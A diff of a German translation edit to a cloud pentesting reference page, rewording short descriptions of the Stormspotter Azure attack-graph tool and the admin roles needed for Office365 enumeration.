 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
 
@@ -412,11 +412,11 @@ azure-security/
 
 ### Attack Graph
 
-[**Stormspotter** ](https://github.com/Azure/Stormspotter) erstellt einen "attack graph" der Ressourcen in einer Azure subscription. Es ermöglicht red teams und pentesters, die attack surface und pivot opportunities innerhalb eines tenants zu visualisieren und befähigt Ihre Verteidiger, sich schnell zu orientieren und Incident Response‑Arbeiten zu priorisieren.
+[**Stormspotter** ](https://github.com/Azure/Stormspotter) erstellt einen “attack graph” der Ressourcen in einer Azure subscription. Damit können red teams und pentesters die attack surface und pivot opportunities innerhalb eines tenant visualisieren und Ihre defenders dabei unterstützen, Incident Response schnell zu orientieren und zu priorisieren.
 
 ### Office365
 
-Du benötigst **Global Admin** oder mindestens **Global Admin Reader** (beachte, dass Global Admin Reader etwas eingeschränkt ist). Diese Einschränkungen treten jedoch in einigen PS-Modulen auf und können umgangen werden, indem man auf die Funktionen **via the web application** zugreift.
+Sie benötigen **Global Admin** oder mindestens **Global Admin Reader** (beachten Sie jedoch, dass Global Admin Reader etwas eingeschränkt ist). Diese Einschränkungen treten jedoch in einigen PS modules auf und können umgangen werden, indem man die Funktionen **via the web application** aufruft.
 
 
 {{#include ../banners/hacktricks-training.md}}